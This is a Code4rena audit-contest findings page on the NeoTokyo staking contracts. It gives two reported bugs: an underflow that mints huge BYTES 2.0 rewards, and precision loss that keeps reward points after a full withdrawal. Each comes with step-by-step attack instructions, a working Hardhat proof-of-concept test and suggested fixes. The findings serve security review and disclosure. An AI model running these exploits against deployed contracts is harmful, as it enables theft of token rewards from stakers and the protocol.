Platform: Code4rena
Start Date: 08/03/2023
Pot Size: $60,500 USDC
Total HM: 2
Participants: 123
Period: 7 days
Judge: hansfriese
Id: 220
League: ETH
Rank: 30/123
Findings: 2
Award: $184.41
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rokso
Also found by: 0x52, 0xnev, ABA, BPZ, DadeKuma, Haipls, J4de, Jeiwan, Josiah, Krace, LegendFenGuin, Lirios, MadWookie, RaymondFam, Ruhum, Toshii, UdarTeam, aashar, ak1, anodaram, auditor0517, carlitox477, cccz, jekapi, juancito, kaden, kenzo, minhquanym, nobody2018, rbserver, rokso, ulqiorra
154.74 USDC - $154.74
https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1154-L1165 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1622-L1631
An attacker can mint a huge amount of BYTES 2.0 tokens for himself. Additionally, the rewards system can be permanently damaged by making the pool.totalPoints
a huge number, not reflecting the actual state of the system.
There are two core ideas on how the exploit works:
The first one is to take advantage of a precision loss on the _stakeLP()
function for the points calculation. So that it keeps the stakerLPPosition.points
in zero, while increasing the stakerLPPosition.amount
to its corresponding amount.
The second one is to abuse the _withdrawLP()
function to perform an underflow on the unchecked
operations regarding the substraction of points, namely: lpPosition.points -= points
. Once the attacker gets a huge amount of points because of the underflow, they can be claimed for BYTES 2.0 tokens via the getReward()
function.
• Call NeoTokyoStaker.stake()
with _assetType = LP
and amount = 1e16 - 1
• Call NeoTokyoStaker.stake()
again with _assetType = LP
and amount = 1e16 - 1
• stakerLPPosition[msg.sender].amount
will be (1e16 - 1) * 2
• stakerLPPosition[msg.sender].points
will be 0
because of the precision loss
• Wait until the timelock ends: block.timestamp < lpPosition.timelockEndTime
• Call NeoTokyoStaker.withdraw()
with _assetType = LP
and amount = (1e16 - 1) * 2
• The points calculation will not suffer of precision loss now, and will be a number > 0
• stakerLPPosition[msg.sender].points
will underflow and become a huge number
• Call BYTES2.getReward()
with the attacker address
• share
will be calculated as a huge number because it is directly proportional to points
• A huge amount of BYTES 2.0 tokens will be minted to the attacker
When staking LP tokens, the NeoTokyoStaker._stakeLP
function is called. For values amount < 1e16
, the amount
will be added to the previous staker LP position, but the points
will be calculated as 0, and no points will be added to the position nor the pool totalPoints
.
This is because of a precision loss on the line:
uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
It is worth mentioning that the calculation is doing division before multiplication, which worsens the precision loss. Nevertheless the bug would still be exploitable, just with a bigger amount
value.
// File: NeoTokyoStaker.sol // Function: _stakeLP() {} 1154: unchecked { 1155: uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; // @audit precision loss 1156: 1157: // Update the caller's LP token stake. 1158: stakerLPPosition[msg.sender].timelockEndTime = 1159: block.timestamp + timelockDuration; 1160: stakerLPPosition[msg.sender].amount += amount; // @audit-info amount is added normally 1161: stakerLPPosition[msg.sender].points += points; // @audit 0 points are added 1162: 1163: // Update the pool point weights for rewards. 1164: pool.totalPoints += points; // @audit-info 0 points are added 1165: }
In order to perform the attack, the attacker can stake amount = 1e16 - 1
two times in the LP staking pool. That number is the max stakeable amount that will add zero points. It is done two times, so that it surpasses the precision loss threshold when withdrawing.
After waiting for the timelock period, the attacker can call the underlying _withdrawLP
with amount = (2e16 - 2)
. The points
are calculated with the same function as in _stakeLP()
, but in this case the amount
is enough to make the variable be calculated as points = 1
.
The previous lpPosition.points
was 0
. So, because of that, and that the calculation is done inside an unchecked
block, the result will be an underflow, close to the uint256 max value.
// File: NeoTokyoStaker.sol // Function: _withdrawLP() {} 1622: unchecked { 1623: uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; 1624: 1625: // Update the caller's LP token stake. 1626: lpPosition.amount -= amount; 1627: lpPosition.points -= points; // @audit underflow 1628: 1629: // Update the pool point weights for rewards. 1630: pool.totalPoints -= points; 1631: }
The attacker now has a huge amount of points that can be claimed for a huge amount of BYTES 2.0 tokens, via the BYTES2.getReward()
function. This is the main point of the reported issue, and is detailed on the POC Test.
Additionally, after the exploit, the pool.totalPoints
will not reflect the real total points of the pool, leading to also to a possible underflow when withdrawing tokens from the LP staking pool, by the attacker or even by normal usage.
Include this test on the test/NeoTokyoStaker.test.js
inside the main describe
:
describe("exploit", function () { let attacker, attackerStakeTime, alice; beforeEach(async () => { const signers = await ethers.getSigners(); const addresses = await Promise.all( signers.map(async (signer) => signer.getAddress()) ); alice = { provider: signers[1].provider, signer: signers[1], address: addresses[1], }; attacker = { provider: signers[6].provider, signer: signers[6], address: addresses[6], }; // Configure the LP token contract address on the staker. await NTStaking.connect(owner.signer).configureLP(LPToken.address); // Mint testing LP tokens to attacker and approve transfer to the staker. await LPToken.mint(attacker.address, ethers.utils.parseEther("1")); await LPToken.connect(attacker.signer).approve( NTStaking.address, ethers.constants.MaxUint256 ); // Mint testing LP tokens to Alice and approve transfer to the staker. // Alice will be staking to provide liquidity and satisfy the `if (pool.totalPoints != 0) {}` // condition on the `NeoTokyoStaker.getPoolReward()` function await LPToken.mint(alice.address, ethers.utils.parseEther("100000")); await LPToken.connect(alice.signer).approve( NTStaking.address, ethers.constants.MaxUint256 ); await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("10000"), 0, 0 ); }); it.only("mints a huge amount of BYTES to the attacker and breaks the LP pool totalAmount", async () => { // The idea is to stake the maximum amount that will return 0 points // It's done two times, so that the position is: amount = (2e16 - 2) and points = 0 // Stake attackers LP tokens for 30 days. await NTStaking.connect(attacker.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("0.01").sub(1), // 1e16 - 1 0, 0 ); // Stake attacker LP tokens again await NTStaking.connect(attacker.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("0.01").sub(1), // 1e16 - 1 0, 0 ); // Get the time at which the attacker staked const priorBlockNumber = await ethers.provider.getBlockNumber(); const priorBlock = await ethers.provider.getBlock(priorBlockNumber); attackerStakeTime = priorBlock.timestamp; // Verify that the attacker position has: amount = (2e16 - 2) and points = 0 const attackerPosition = await NTStaking.getStakerPositions( attacker.address ); attackerPosition.stakedLPPosition.amount.should.be.equal( ethers.utils.parseEther("0.02").sub(2) // 2e16 - 2 ); attackerPosition.stakedLPPosition.points.should.be.equal(0); // Wait for the timelock await ethers.provider.send("evm_setNextBlockTimestamp", [ attackerStakeTime + 60 * 60 * 24 * 30, ]); // Withdraw attacker LP tokens // This will underflow the points variable under the hood await NTStaking.connect(attacker.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther("0.02").sub(2) // 2e16 - 2 ); // Verify that the staked position of the attacker underflowed // The attacker now has a huge amount of points const attackerPositionAfterWithdraw = await NTStaking.getStakerPositions( attacker.address ); const HUGE_POINTS = "115792089237316195423570985008687907853269984665640564039457584007913129639935"; attackerPositionAfterWithdraw.stakedLPPosition.points.should.be.equal( HUGE_POINTS ); // Verify that the attacker doesn't have any BYTES before the rewards const initialAttackerBytes = await NTBytes2_0.balanceOf(attacker.address); initialAttackerBytes.should.be.equal(0); // Wait for a minimum amount of time so that the `windowCount` and `totalReward` > 0 await ethers.provider.send("evm_setNextBlockTimestamp", [ attackerStakeTime + 60 * 60 * 24 * 30 + 1, ]); // Mint BYTES tokens as a reward // The attacker has successfully minted a huge amount of tokens await NTBytes2_0.connect(attacker.signer).getReward(attacker.address); const finalAttackerBytes = await NTBytes2_0.balanceOf(attacker.address); const HUGE_BYTES = "47236901774595398034497056415802841175609457665481691995646113483"; finalAttackerBytes.should.be.equal(HUGE_BYTES); // Additional: Showcase how the `totalPoints` variable can be totally broken, and thus the rewards system // This is a very simplified example, as in this case Alice is the only other staker // But it shows one example on how an erroneous value of `totalPoints` can be exploited // @audit-info Change visibility of `NeoTokyoStaker._pools` to `public` for testing this if (NTStaking._pools) { // Withdraw Alice LP tokens const initialPool = await NTStaking._pools(ASSETS.LP.id); initialPool.totalPoints.should.be.equal(999999); await NTStaking.connect(alice.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther("10000") ); // Verify that the `totalPoints` reflects a huge number // This will break any rewards calculation for any user const HUGE_TOTAL_POINTS = "115792089237316195423570985008687907853269984665640564039457584007913129639935"; const finalPool = await NTStaking._pools(ASSETS.LP.id); finalPool.totalPoints.should.be.equal(HUGE_TOTAL_POINTS); } }); });
Manual review
Calculate the points
value considering previous stakings. This translates into no point being given if the minimum amount is not reached, but as soon as the value is reached, it will give at least one point. No matter if it is via one stake or multiple smaller stakes.
Also improve the precision loss by performing multiplications before divisions.
// File: NeoTokyoStaker.sol // Function: _stakeLP() {} unchecked { - uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; + uint256 newAmount = stakerLPPosition[msg.sender].amount + amount; + uint256 newPoints = newAmount * 100 * timelockMultiplier / 1e18 / _DIVISOR; + uint256 points = newPoints - stakerLPPosition[msg.sender].points; // Update the caller's LP token stake. stakerLPPosition[msg.sender].timelockEndTime = block.timestamp + timelockDuration; stakerLPPosition[msg.sender].amount += amount; stakerLPPosition[msg.sender].points += points; // Update the pool point weights for rewards. pool.totalPoints += points; }
The _withdrawLP
function must calculate the points
the same way as _stakeLP
. Consider creating an auxiliary function that both methods use.
// File: NeoTokyoStaker.sol // Function: _withdrawLP() {} unchecked { - uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; + uint256 points = amount * 100 * lpPosition.multiplier / 1e18 / _DIVISOR; // Update the caller's LP token stake. lpPosition.amount -= amount; lpPosition.points -= points; // Update the pool point weights for rewards. pool.totalPoints -= points; }
#0 - c4-judge
2023-03-16T03:04:49Z
hansfriese marked the issue as duplicate of #423
#1 - c4-judge
2023-03-16T03:04:54Z
hansfriese marked the issue as satisfactory
#2 - c4-judge
2023-03-17T01:14:19Z
hansfriese marked the issue as not a duplicate
#3 - c4-judge
2023-03-17T01:14:47Z
hansfriese marked the issue as duplicate of #261
🌟 Selected for report: rokso
Also found by: 0x52, 0xnev, ABA, BPZ, DadeKuma, Haipls, J4de, Jeiwan, Josiah, Krace, LegendFenGuin, Lirios, MadWookie, RaymondFam, Ruhum, Toshii, UdarTeam, aashar, ak1, anodaram, auditor0517, carlitox477, cccz, jekapi, juancito, kaden, kenzo, minhquanym, nobody2018, rbserver, rokso, ulqiorra
154.74 USDC - $154.74
Users are able to continue claiming BYTES rewards indefinitely on their initials points after withdrawing all of their LP stake.
A user can withdraw all of their LP staked tokens in multiple steps with an amount < 1e16
. If the amount is below that value, zero points will be substracted from the user stake LP position. This is due to a precision loss issue in the points calculation.
Once all the staked tokens have been withdrawn, the user stake LP position will have amount == 0
, and points
equal to the initial value when the tokens were staked. After that the user can sell, transfer, or dispose the tokens the way he likes, while still being able to collect BYTES token rewards because he retains his original points.
• Call NeoTokyoStaker.stake()
with _assetType = LP
and amount = 1e16
• stakerLPPosition[msg.sender].amount
will be 1e16
• stakerLPPosition[msg.sender].points
will be 1
• Wait until the timelock ends: block.timestamp < lpPosition.timelockEndTime
• Call NeoTokyoStaker.withdraw()
with _assetType = LP
and amount = 9e15
• Call NeoTokyoStaker.withdraw()
again, but with _assetType = LP
and amount = 1e15
• stakerLPPosition[msg.sender].amount
will be 0
, as all of the tokens have been withdrawn
• stakerLPPosition[msg.sender].points
will STILL BE 1
, because of the precision loss on the points
calculation
• Call BYTES2.getReward()
with the attacker address after some time
• More BYTES tokens will be minted for the attacker despite not having staked tokens, because stakerLPPosition[msg.sender].points = 1
This can be done for any amount
of LP tokens. The only difference is that NeoTokyoStaker.withdraw()
will have to be called as many times as needed with an amount < 1e16
, so that no points are substracted during the withraw.
When withdrawing LP tokens, the NeoTokyoStaker._withdrawLP
function is called. For values amount < 1e16
, the amount
will be substracted from the staker LP position, but the points
will be calculated as 0, and no points will be substracted from the position nor the pool totalPoints
.
This is because of a precision loss on the line:
uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;
It is worth mentioning that the calculation is doing division before multiplication, which worsens the precision loss. Nevertheless the bug would still be exploitable, just with a lower amount
value.
// File: NeoTokyoStaker.sol // Function: _withdrawLP() {} 1622: unchecked { 1623: uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; // @audit precision loss 1624: 1625: // Update the caller's LP token stake. 1626: lpPosition.amount -= amount; 1627: lpPosition.points -= points; // @audit-info no points will be substracted 1628: 1629: // Update the pool point weights for rewards. 1630: pool.totalPoints -= points; // @audit-info no points will be substracted 1631: }
After withdrawing all the staked LP tokens, the user LP staked position will still have the initials points, which can be used later to claim rewards indefinitely.
Include this test on the test/NeoTokyoStaker.test.js
inside the main describe
:
describe("exploit", function () { let attacker, attackerStakeTime, alice; beforeEach(async () => { const signers = await ethers.getSigners(); const addresses = await Promise.all( signers.map(async (signer) => signer.getAddress()) ); alice = { provider: signers[1].provider, signer: signers[1], address: addresses[1], }; attacker = { provider: signers[6].provider, signer: signers[6], address: addresses[6], }; // Configure the LP token contract address on the staker. await NTStaking.connect(owner.signer).configureLP(LPToken.address); // Mint testing LP tokens to attacker and approve transfer to the staker. await LPToken.mint(attacker.address, ethers.utils.parseEther("10")); await LPToken.connect(attacker.signer).approve( NTStaking.address, ethers.constants.MaxUint256 ); // Mint testing LP tokens to Alice and approve transfer to the staker. // Alice will be staking to provide liquidity and satisfy the `if (pool.totalPoints != 0) {}` // condition on the `NeoTokyoStaker.getPoolReward()` function await LPToken.mint(alice.address, ethers.utils.parseEther("100000")); await LPToken.connect(alice.signer).approve( NTStaking.address, ethers.constants.MaxUint256 ); await NTStaking.connect(alice.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("10000"), 0, 0 ); }); it.only("allows users to claim rewards after removing all of their staked LP token", async () => { // Stake attackers LP tokens for 30 days. await NTStaking.connect(attacker.signer).stake( ASSETS.LP.id, TIMELOCK_OPTION_IDS["30"], ethers.utils.parseEther("0.01"), 0, 0 ); // Get the time at which the attacker staked const priorBlockNumber = await ethers.provider.getBlockNumber(); const priorBlock = await ethers.provider.getBlock(priorBlockNumber); attackerStakeTime = priorBlock.timestamp; // Wait for the timelock await ethers.provider.send("evm_setNextBlockTimestamp", [ attackerStakeTime + 60 * 60 * 24 * 30, ]); // Verify that the attacker has 1 point before withdrawing const positionBeforeWithdraw = await NTStaking.getStakerPositions( attacker.address ); positionBeforeWithdraw.stakedLPPosition.points.should.be.equal(1); // Withdraw attacker LP tokens in multiple withdraw calls // Each call with `amount < 1e16` will guaranty that no points are discounted await NTStaking.connect(attacker.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther("0.009") // 9e15 ); await NTStaking.connect(attacker.signer).withdraw( ASSETS.LP.id, ethers.utils.parseEther("0.001") // 1e15 ); // Verify that the attacker preserves their 1 point, while having no staked amount of tokens const positionAfterWithdraw = await NTStaking.getStakerPositions( attacker.address ); positionAfterWithdraw.stakedLPPosition.points.should.be.equal(1); positionAfterWithdraw.stakedLPPosition.amount.should.be.equal(0); // Check and store the amount of BYTES the user has just after the withdrawal of all of their staked tokens const bytesAfterWithdraw = await NTBytes2_0.balanceOf(attacker.address); bytesAfterWithdraw.should.be.equal("1454999106342030"); // Wait for some time so check if the attacker earned more rewards despite not having staked tokens await ethers.provider.send("evm_setNextBlockTimestamp", [ attackerStakeTime + 60 * 60 * 24 * 30 + 100, ]); // Claim rewards await NTBytes2_0.connect(attacker.signer).getReward(attacker.address); // Check that the attacker has more BYTES tokens, meaning that they got reward // despite not having staked tokens const finalAttackerBytes = await NTBytes2_0.balanceOf(attacker.address); const earnedBytes = finalAttackerBytes - bytesAfterWithdraw; earnedBytes.should.be.greaterThan(0); earnedBytes.should.be.eq(55572861093); }); });
Manual review
Calculate the points
value considering the current total staked LP tokens, not only the amount
being withdrawn. This translates into substracting points as soon as they reach the max threhold.
Also improve the precision loss by performing multiplications before divisions.
// File: NeoTokyoStaker.sol // Function: _withdrawLP() {} unchecked { - uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR; + uint256 newAmount = lpPosition.amount - amount; + uint256 newPoints = newAmount * 100 * lpPosition.multiplier / 1e18 / _DIVISOR; + uint256 points = lpPosition.points - newPoints; // Update the caller's LP token stake. lpPosition.amount -= amount; lpPosition.points -= points; // Update the pool point weights for rewards. pool.totalPoints -= points; }
The _stakeLP
function must calculate the points
the same way as _withdrawLP
. Consider creating an auxiliary function that both methods use.
// File: NeoTokyoStaker.sol // Function: _stakeLP() {} unchecked { - uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR; + uint256 points = amount * 100 * timelockMultiplier / 1e18 / _DIVISOR; // Update the caller's LP token stake. stakerLPPosition[msg.sender].timelockEndTime = block.timestamp + timelockDuration; stakerLPPosition[msg.sender].amount += amount; stakerLPPosition[msg.sender].points += points; // Update the pool point weights for rewards. pool.totalPoints += points; }
#0 - c4-judge
2023-03-16T09:05:42Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2023-03-16T09:05:58Z
hansfriese marked the issue as duplicate of #348
#2 - c4-judge
2023-03-21T09:20:34Z
hansfriese marked the issue as duplicate of #261
#3 - c4-judge
2023-03-29T00:18:55Z
hansfriese marked the issue as not a duplicate
#4 - c4-judge
2023-03-29T00:19:16Z
hansfriese changed the severity to 3 (High Risk)
#5 - c4-judge
2023-03-29T00:19:47Z
hansfriese marked the issue as duplicate of #261